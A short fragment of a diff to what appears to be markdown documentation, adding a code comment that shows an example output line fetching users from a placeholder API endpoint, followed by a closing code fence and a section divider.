+ // Output: Fetching: https://api.example.com/v1/users
743
+ ```
744
+
745
+ ---
746
+